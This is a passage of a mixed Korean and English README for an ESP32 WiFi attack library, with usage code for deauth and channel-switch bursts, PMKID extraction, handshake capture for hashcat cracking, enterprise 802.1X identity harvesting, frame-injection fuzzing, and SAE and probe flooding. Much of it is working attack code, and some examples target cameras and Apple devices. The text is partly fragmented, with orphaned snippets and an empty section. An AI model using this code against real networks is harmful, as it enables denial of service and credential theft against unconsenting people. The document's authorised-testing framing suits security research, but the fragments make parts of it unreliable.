또는 프로젝트의 `lib/` 디렉토리에 직접 클론하십시오:```bash
cd lib/
git clone https://github.com/0ldev/Politician.git

`components/Politician/CMakeLists.txt` 컴포넌트 설명자를 생성합니다:```cmake
idf_component_register(
    SRCS
        "src/Politician.cpp"
        "src/PoliticianFormat.cpp"
        "src/PoliticianStress.cpp"
    INCLUDE_DIRS "src"
)

engine.setEapolCallback(onHandshake);

Config cfg;
engine.begin(cfg);
engine.setAttackMask(ATTACK_ALL);

### 기본 ESP-IDF 빠른 시작

ESP-IDF에서 `begin()`은 내부적으로 `esp_wifi_init()`을 호출하지만, NVS와 기본 이벤트 루프가 이미 초기화되어 있어야 합니다. `begin()` 전에 이들을 호출한 후, FreeRTOS 태스크에서 엔진을 구동하십시오.```cpp
#include <nvs_flash.h>
#include <esp_event.h>
#include <freertos/FreeRTOS.h>
#include <freertos/task.h>
#include <Politician.h>

using namespace politician;

static Politician engine;

static void on_handshake(const HandshakeRecord &rec) {
    printf("[+] Captured: %s  ch%d  rssi=%d  type=%d\n",
           rec.ssid, rec.channel, rec.rssi, rec.type);
}

static void audit_task(void *) {
    Config cfg;
    engine.setEapolCallback(on_handshake);

    if (engine.begin(cfg) != OK) {
        printf("[!] WiFi init failed\n");
        vTaskDelete(nullptr);
        return;
    }

    engine.setAttackMask(ATTACK_ALL);

    for (;;) {
        engine.tick();
        vTaskDelay(pdMS_TO_TICKS(1));
    }
}

extern "C" void app_main(void) {
    nvs_flash_init();
    esp_event_loop_create_default();

    xTaskCreate(audit_task, "politician", 8192, nullptr, 5, nullptr);
}

엔진을 초기화합니다. 성공 시 `OK`를 반환하고 실패 시 `Error` 코드를 반환합니다. 다른 메서드보다 먼저 호출되어야 합니다.

#### 설정 구조```cpp
struct Config {
    uint16_t hop_dwell_ms           = 200;   // Static time spent on each channel (ms)
    bool     smart_hopping          = true;  // Dynamic channel dwell time based on traffic
    uint16_t hop_min_dwell_ms       = 50;    // Minimum dwell if no traffic is seen
    uint16_t hop_max_dwell_ms       = 400;   // Maximum dwell if traffic is active
    uint32_t m1_lock_ms             = 800;   // How long to stay on channel after seeing M1
    uint32_t fish_timeout_ms        = 2000;  // Timeout per PMKID association attempt
    uint8_t  fish_max_retries       = 2;     // PMKID retries before pivoting to CSA
    uint32_t csa_wait_ms            = 4000;  // Wait window after CSA/Deauth burst
    uint8_t  csa_beacon_count       = 8;     // Number of CSA beacons per burst
    uint8_t  deauth_burst_count     = 16;    // Frames per standalone deauth burst
    uint8_t  csa_deauth_count       = 15;    // Deauth frames appended after CSA burst
    uint16_t probe_aggr_interval_s  = 30;    // Seconds between re-attacking the same AP
    uint32_t session_timeout_ms     = 60000; // How long orphaned sessions live in RAM
    bool     capture_half_handshakes = false; // Fire callback on M2-only captures and pivot to active attack
    bool     skip_immune_networks   = true;  // Skip pure WPA3 / PMF-Required networks
    uint8_t  capture_filter         = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES;
    int8_t   min_rssi               = -100;  // Ignore APs weaker than this signal (dBm)
    uint32_t ap_expiry_ms           = 300000; // Evict APs not seen for this long (0 = never expire)
    bool     unicast_deauth         = true;  // Send deauth to known client MAC instead of broadcast
    uint32_t probe_hidden_interval_ms = 0;   // How often to probe hidden APs for SSID (0 = disabled, opt-in)
    uint8_t  deauth_reason          = 7;     // 802.11 reason code in deauth frames
    bool     deauth_reason_cycling  = true;  // Cycle through effective reason codes (fuzzing)
    // ── Frame capture
    bool     capture_group_keys     = false; // Fire eapolCb(CAP_EAPOL_GROUP) on GTK rotation frames
    // ── Filtering
    uint8_t  min_beacon_count       = 0;     // Min times AP must be seen before attack/apFoundCb (0 = off)
    uint8_t  max_total_attempts     = 0;     // Permanently skip BSSID after N failed attacks (0 = unlimited)
    uint8_t  sta_filter[6]          = {};    // Only record EAPOL from this client MAC (zero = no filter)
    char     ssid_filter[33]        = {};    // Only cache APs matching this SSID (empty = no filter)
    bool     ssid_filter_exact      = true;  // True = exact match, false = substring match
    uint8_t  enc_filter_mask        = 0xFF;  // Bitmask of enc types to cache
    bool     require_active_clients = false; // Skip attack initiation if no active clients seen on AP
};

// Prioritize high-value targets
if (strstr(vendor, "Apple"))   score += 50;
if (strstr(vendor, "Hikvision")) score += 80; // Security Cameras

// Ignore uninteresting noise
if (ap.flags.is_hidden) score -= 100;

return score;

#### 사용자 정의 프레임 주입 및 퍼징

정확한 채널 제어로 임의의 802.11 프레임을 주입합니다:```cpp
// Malformed Probe Request for fuzzing
uint8_t malformedFrame[] = { 0x40, 0x00, ... };

void loop() {
    engine.tick();
    
    // Inject immediately on channel 6, locking the hopper for 100ms
    engine.injectCustomFrame(malformedFrame, sizeof(malformedFrame), 6, 100);
    
    // Queue for stealthy injection (fires only when hopper lands on ch 11)
    engine.injectCustomFrame(malformedFrame, sizeof(malformedFrame), 11, 0, true);
}

// Attempt CSA (Stealthy) first, fallback to Deauth only if needed
engine.setDisconnectionStrategy(STRATEGY_AUTO_FALLBACK);

engine.setAttackMask(ATTACK_CSA | ATTACK_DEAUTH);

#### 802.11u 인터워킹 검색

공공 네트워크의 물리적 장소 컨텍스트를 발견하십시오:```cpp
void onAp(const ApRecord &ap) {
    if (ap.venue_group != 0) {
        Serial.printf("Venue: Group %d, Type %d\n", ap.venue_group, ap.venue_type);
        // e.g., Group 2 (Education), Type 8 (University)
    }
}

#### 상태 및 통계```cpp
bool    isActive()    const;  // True if frame processing is enabled
bool    isAttacking() const;  // True if a PMKID/CSA attack is in progress
bool    hasTarget()   const;  // True if focused on a specific BSSID
uint8_t getChannel()  const;  // Current radio channel
int8_t  getLastRssi() const;  // RSSI of the last received frame
Stats&  getStats();           // Reference to frame counters (captures, failures, etc.)
Config& getConfig();          // Reference to the active config for runtime mutations
void    resetStats();         // Zero all counters
int     getApCount() const;   // Number of APs in the discovery cache
bool    getAp(int idx, ApRecord &out) const;                  // Read AP from cache by index
bool    getApByBssid(const uint8_t* bssid, ApRecord &out) const; // Look up AP by BSSID
int     getClientCount(const uint8_t* bssid) const;           // Number of clients seen on AP (0-4)
bool    getClient(const uint8_t* bssid, int idx, uint8_t out_sta[6]) const; // Read client MAC by index

#### 대상 & 채널 제어```cpp
Error setTarget(const uint8_t* bssid, uint8_t channel); // Focus on one BSSID
void  clearTarget();                                     // Resume autonomous operation
Error setChannel(uint8_t ch);                            // Tune to a specific channel
Error lockChannel(uint8_t ch);                           // Stop hopping, lock channel
void  startHopping(uint16_t dwellMs = 0);                // Start channel hopping
void  stopHopping();                                     // Stop hopping (attack state machine continues)
void  stop();                                            // Full teardown: abort attack, clear target, stop hopping, disable capture
void  setChannelList(const uint8_t* channels, uint8_t count); // Restrict hop sequence
void  setChannelBands(bool ghz24, bool ghz5);                // Hop 2.4GHz, 5GHz, or both
Error setTargetBySsid(const char* ssid);                     // Lock target by SSID (picks strongest match from cache)
void  setAutoTarget(bool enable);                            // Continuously auto-target strongest uncaptured AP

#### 공격 제어```cpp
void setAttackMask(uint8_t mask);                                // Configure active attack vectors (bitmask)
void setAttackMaskForBssid(const uint8_t* bssid, uint8_t mask); // Per-BSSID override (up to 8 entries)
void clearAttackMaskOverrides();                                  // Remove all per-BSSID overrides

#### 캡처 유형 상수```cpp
#define CAP_PMKID        0x01  // PMKID extracted via fake association
#define CAP_EAPOL        0x02  // Full M1+M2 from passive capture
#define CAP_EAPOL_CSA    0x03  // Full M1+M2 triggered by CSA/Deauth
#define CAP_EAPOL_HALF   0x04  // M2-only (no anonce) — active attack pivot fired
#define CAP_EAPOL_GROUP  0x05  // Non-pairwise EAPOL-Key (GTK rotation)

### 데이터 구조

#### 통계```cpp
struct Stats {
    uint32_t total;              // Total frames received
    uint32_t mgmt;               // Management frames
    uint32_t ctrl;               // Control frames
    uint32_t data;               // Data frames
    uint32_t eapol;              // EAPOL frames detected
    uint32_t pmkid_found;        // PMKIDs captured
    uint32_t beacons;            // Beacon and probe-response frames
    uint32_t captures;           // Total successful captures
    uint32_t failed_pmkid;       // PMKID attempts exhausted without capture
    uint32_t failed_csa;         // CSA/Deauth windows expired without EAPOL
    uint16_t channel_frames[14]; // Frames per 2.4GHz channel (index 0 = ch1 … index 13 = ch14)
};

#### EapIdentityRecord```cpp
struct EapIdentityRecord {
    uint8_t bssid[6];       // Access Point MAC
    uint8_t client[6];      // Enterprise client MAC
    char    identity[65];   // Plaintext identity / email
    uint8_t channel;
    int8_t  rssi;
};

#### AttackResultRecord```cpp
enum AttackResult : uint8_t {
    RESULT_PMKID_EXHAUSTED = 1,  // All PMKID retries failed
    RESULT_CSA_EXPIRED     = 2,  // CSA/Deauth window closed, no EAPOL received
};

struct AttackResultRecord {
    uint8_t      bssid[6];
    char         ssid[33];
    uint8_t      ssid_len;
    AttackResult result;
};

#### ProbeRequestRecord```cpp
struct ProbeRequestRecord {
    uint8_t client[6];   // Probing device MAC
    uint8_t channel;
    int8_t  rssi;
    char    ssid[33];    // Requested SSID (empty = wildcard probe)
    uint8_t ssid_len;
    bool    rand_mac;    // True if locally administered bit set (iOS/Android MAC randomization)
};

### Format Utilities

PCAPNG는 기본 캡처 형식입니다 — 도구에 구애받지 않으며, 전체 프레임 컨텍스트를 보존하고, Wireshark에서 열거나 `hcxpcapngtool`을 통해 파이프할 수 있습니다. HC22000은 중간 변환 단계 없이 캡처를 `hashcat`에 직접 공급하려는 사용자를 위한 보조 텍스트 내보내기입니다.```cpp
// Convert a HandshakeRecord to an HC22000 string (auxiliary — use PCAPNG as the primary output)
String toHC22000(const HandshakeRecord& rec);

// Write PCAPNG global header (SHB + IDB) — call once at file start
size_t writePcapngGlobalHeader(uint8_t* buffer);

// Serialize a HandshakeRecord into PCAPNG Enhanced Packet Blocks
size_t writePcapngRecord(const HandshakeRecord& rec, uint8_t* buffer, size_t max_len);

// Serialize a raw 802.11 frame into a PCAPNG Enhanced Packet Block
size_t writePcapngPacket(const uint8_t* payload, size_t len,
                        int8_t rssi, uint8_t channel, uint64_t ts_usec, 
                        uint8_t* buffer, size_t max_len);```

### Stress Utilities (Opt-in)

Requires `#include <PoliticianStress.h>`. Not linked unless explicitly included.

```cpp
// WPA3 AP에 SAE Commit 프레임을 플러딩하여 안티-클로깅 토큰 힙을 소진시킵니다.
stress::saeCommitFlood(const uint8_t* bssid, uint32_t count = 1000);

// 무작위 Probe Request로 주변 AP를 플러딩하여 연결 큐를 포화시킵니다.
stress::probeRequestFlood(uint32_t count = 1000);```

### Storage Utilities (Optional)

Requires `#include <PoliticianStorage.h>`.

```cpp
// 핸드셰이크를 PCAPNG 파일에 추가 (전역 헤더 자동 기록)
PcapngFileLogger::append(fs::FS& fs, const char* path,
                         const HandshakeRecord& rec);

// 원시 802.11 프레임을 PCAPNG 파일에 추가
PcapngFileLogger::appendPacket(fs::FS& fs, const char* path,
                               const uint8_t* payload, uint16_t len,
                               int8_t rssi, uint32_t ts_usec);

// 핸드셰이크 상세 정보를 Wigle CSV에 추가
WigleCsvLogger::append(fs::FS& fs, const char* path,
                       const HandshakeRecord& rec, float lat, float lon,
                       float alt = 0.0, float acc = 10.0,
                       const char* timestamp = nullptr);  // 예: "2024-06-01 14:30:00"

// 발견된 모든 AP를 Wigle CSV에 추가 (setApFoundCallback과 함께 사용)
WigleCsvLogger::appendAp(fs::FS& fs, const char* path,
                         const ApRecord& ap, float lat, float lon,
                         float alt = 0.0, float acc = 10.0,
                         const char* timestamp = nullptr);

// 핸드셰이크를 HC22000 텍스트 파일에 추가
Hc22000FileLogger::append(fs::FS& fs, const char* path,
                           const HandshakeRecord& rec);

// 수집된 엔터프라이즈 ID를 CSV에 추가
EnterpriseCsvLogger::append(fs::FS& fs, const char* path,
                            const EapIdentityRecord& rec);```

## Usage Examples

### Targeted Network Auditing

Use callbacks to filter networks by signal strength, encryption type, or SSID pattern:

```cpp
engine.setTargetFilter([](const politician::ApRecord &ap) {
    // Only audit strong signals
    if (ap.rssi < -70) return false;
    
    // Skip Open/WEP networks
    if (ap.enc < 3) return false;
    
    // Skip corporate networks  
    if (strstr(ap.ssid, "CORP-") != nullptr) return false;
    
    return true;
});```

### Selective Attack Modes

```cpp

### Enterprise Credential Harvesting

```cpp
void onIdentity(const EapIdentityRecord &rec) {
    char bssid[18];
    snprintf(bssid, sizeof(bssid), "%02X:%02X:%02X:%02X:%02X:%02X",
             rec.bssid[0], rec.bssid[1], rec.bssid[2],
             rec.bssid[3], rec.bssid[4], rec.bssid[5]);
    Serial.printf("[802.1X] %s → %s\n", bssid, rec.identity);
    EnterpriseCsvLogger::append(SD, "/identities.csv", rec);
}

void setup() {
    engine.setIdentityCallback(onIdentity);

    Config cfg;
    cfg.hop_dwell_ms = 800;  // EAP 교환을 위한 더 긴 체류 시간
    engine.begin(cfg);
}```

### Persistent Storage

The core library is decoupled from filesystem dependencies. Optionally include `PoliticianStorage.h` for SD card logging:

```cpp
#include <PoliticianStorage.h>
#include <SD.h>

using namespace politician::storage;

void onHandshake(const HandshakeRecord &rec) {
    // PCAPNG 파일에 추가 (헤더 자동 생성)
    PcapngFileLogger::append(SD, "/captures.pcapng", rec);
}

void onPacket(const uint8_t* payload, uint16_t len, int8_t rssi, uint8_t channel, uint32_t ts) {
    // 원시 802.11 프레임 기록
    PcapngFileLogger::appendPacket(SD, "/intel.pcapng", payload, len, rssi, channel, ts);
}

void setup() {
    SD.begin();
    engine.setEapolCallback(onHandshake);
    engine.setPacketLogger(onPacket);
    
    Config cfg;
    cfg.capture_filter = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES;
    engine.begin(cfg);
}```

**⚠️ Logging Performance Warning**

Beacon logging (`LOG_FILTER_BEACONS`) can generate 500+ writes/second. Standard SPI SD card writes are **blocking** and will freeze the engine. For high-volume logging, use ESP32 boards with native **SDMMC** (4-bit) hardware support and DMA.

### GPS Integration (Wigle.net)

Combine with a GPS module for wardriving datasets:

```cpp
#include <TinyGPS++.h>

TinyGPSPlus gps;

// 발견된 모든 AP 로깅 (ApRecord에 대해 appendAp 사용)
void onAp(const ApRecord &ap) {
    if (gps.location.isValid()) {
        WigleCsvLogger::appendAp(SD, "/wardrive.csv", ap,
                                 gps.location.lat(),
                                 gps.location.lng());
    }
}

// GPS 컨텍스트와 함께 캡처된 핸드셰이크 로깅 (HandshakeRecord에 대해 append 사용)
void onHandshake(const HandshakeRecord &rec) {
    if (gps.location.isValid()) {
        WigleCsvLogger::append(SD, "/wardrive.csv", rec,
                               gps.location.lat(),
                               gps.location.lng());
    }
}```

## Advanced Features

### Half-Handshakes and Smart Pivot

When `cfg.capture_half_handshakes = true`, the engine fires the EAPOL callback with `type = CAP_EAPOL_HALF` on M2-only captures. These records have no `anonce` so they cannot be directly cracked, but they confirm an active client is present.

The engine immediately executes a **Smart Pivot**:
1. Marks the network as having active clients
2. Launches CSA/Deauth to force a fresh 4-way handshake
3. Captures the complete M1+M2 on reconnection

### Attack Result Callbacks

Register `setAttackResultCallback()` to be notified when an attack exhausts all options without capturing anything. Useful for logging failed targets or adjusting strategy at runtime:

```cpp
engine.setAttackResultCallback([](const AttackResultRecord &res) {
    char bssid[18];
    snprintf(bssid, sizeof(bssid), "%02X:%02X:%02X:%02X:%02X:%02X",
             res.bssid[0], res.bssid[1], res.bssid[2],
             res.bssid[3], res.bssid[4], res.bssid[5]);
    if (res.result == RESULT_PMKID_EXHAUSTED)
        Serial.printf("[!] PMKID 실패: %s (%s)\n", res.ssid, bssid);
    else if (res.result == RESULT_CSA_EXPIRED)
        Serial.printf("[!] CSA/Deauth 시간 초과: %s (%s)\n", res.ssid, bssid);
});```

### 802.11r Fast Transition Detection

The engine detects 802.11r Fast Transition AKMs (FT-PSK suite type 4, FT-EAP suite type 3) in beacon and probe-response RSN IEs. When detected, `ApRecord.ft_capable` is set to `true` and a log note is emitted during PMKID fishing.

For FT Transition Mode APs (advertising both FT-PSK and regular WPA2-PSK), standard PMKID capture via the WPA2-PSK path works normally. For FT-only APs, the captured PMKID is FT-derived — save it as PCAPNG and use FT-aware offline tools (e.g. `hcxpcapngtool --enable_ft`) for cracking.

### Hidden Network Discovery

Probe Response frames triggered by deauth bursts automatically reveal hidden SSIDs. The engine caches these with zero configuration required.

### PMF/WPA3 Detection

RSNE (Robust Security Network Element) parsing automatically identifies networks with PMF Required. These are skipped to save time, but WPA3 Transition Mode networks (PMF Capable but not Required) are still targeted.

`ApRecord` exposes `pmf_capable` and `pmf_required` so `setTargetFilter` callbacks can make finer-grained decisions than the binary `skip_immune_networks` config field — for example, to target only WPA3 Transition networks (PMF capable but not required).

## Examples

The library includes complete examples demonstrating various use cases:

| Example | Description |
|---------|-------------|
| `DeviceFingerprinting` | Passive discovery of IoT and consumer electronics |
| `TargetedAuditing` | Network filtering with callbacks |
| `EnterpriseAuditing` | 802.1X identity harvesting |
| `StorageAndNVS` | SD card PCAPNG logging and NVS persistence |
| `WigleIntegration` | GPS wardriving with Wigle CSV export |
| `ExportFormats` | PCAPNG capture and auxiliary HC22000 text export |
| `DynamicControl` | Runtime attack mode switching |
| `AutoEnterpriseHunter` | Automatic enterprise network targeting |
| `SerialStreaming` | Real-time packet streaming |
| `StressTest` | Performance and memory testing |

See the [`examples/`](https://github.com/0ldev/politician/blob/main/examples) directory for complete source code.

## Documentation

Full API documentation is available in the [`docs/`](https://github.com/0ldev/politician/blob/main/docs) directory. Generate fresh documentation:

```bash
doxygen Doxyfile```

Then open `docs/html/index.html` in your browser.


## Hardware Requirements

- **Platform**: ESP32, ESP32-S2, ESP32-S3, ESP32-C3 (ESP32-C6 pending Arduino framework support in PlatformIO)
- **Framework**: Arduino or ESP-IDF — both are supported natively via `src/politician_compat.h`. `PoliticianStorage.h` requires Arduino and will not compile under ESP-IDF.
- **Memory**: Minimum 4MB flash recommended
- **Optional**: SD card module for persistent logging
- **Optional**: GPS module for Wigle integration

## Performance Considerations

- **Channel Hopping**: Default 200ms dwell time balances discovery speed vs. capture reliability
- **Memory**: Core engine uses ~45KB RAM. Storage helpers are opt-in
- **CPU**: Non-blocking state machine keeps `loop()` responsive
- **Half-Handshakes**: Enable for better capture rate on fast-hopping scenarios

## Troubleshooting

**No handshakes captured:**
- Verify WiFi is enabled and promiscuous mode works
- Increase `hop_dwell_ms` for slow-reconnecting devices
- Check if target networks use PMF Required (will be auto-skipped)
- Try `ATTACK_ALL` mask for maximum aggression

**SD card writes fail:**
- Ensure SD.begin() succeeds before logging
- Check file permissions and available space
- Disable `LOG_FILTER_BEACONS` if using SPI SD cards

**Enterprise identities not captured:**
- Increase `hop_dwell_ms` to 800-1200ms for EAP exchanges
- Use `ATTACK_PASSIVE` or `ATTACK_STIMULATE` only
- Aggressive attacks may interrupt EAP authentication

## Legal & Ethical Use

This library is intended for:
- ✅ Authorized penetration testing
- ✅ Security research in controlled environments  
- ✅ Educational purposes with permission
- ✅ Auditing your own networks

**Unauthorized access to networks you do not own or have permission to test is illegal** under laws such as the Computer Fraud and Abuse Act (CFAA) in the United States and similar legislation worldwide.

The authors and contributors assume no liability for misuse of this software.

## Contributing

Contributions are welcome! Please:
1. Fork the repository
2. Create a feature branch
3. Add tests/examples for new features
4. Submit a pull request

## License

MIT License - see [`LICENSE`](https://github.com/0ldev/politician/blob/main/LICENSE) for details.

## Acknowledgments

Special thanks to [justcallmekoko](https://github.com/justcallmekoko) for inspiring this project and the broader hardware hacking community through the [ESP32 Marauder](https://github.com/justcallmekoko/ESP32Marauder) project. Years of learning from Marauder's innovative approaches to WiFi security research have been invaluable.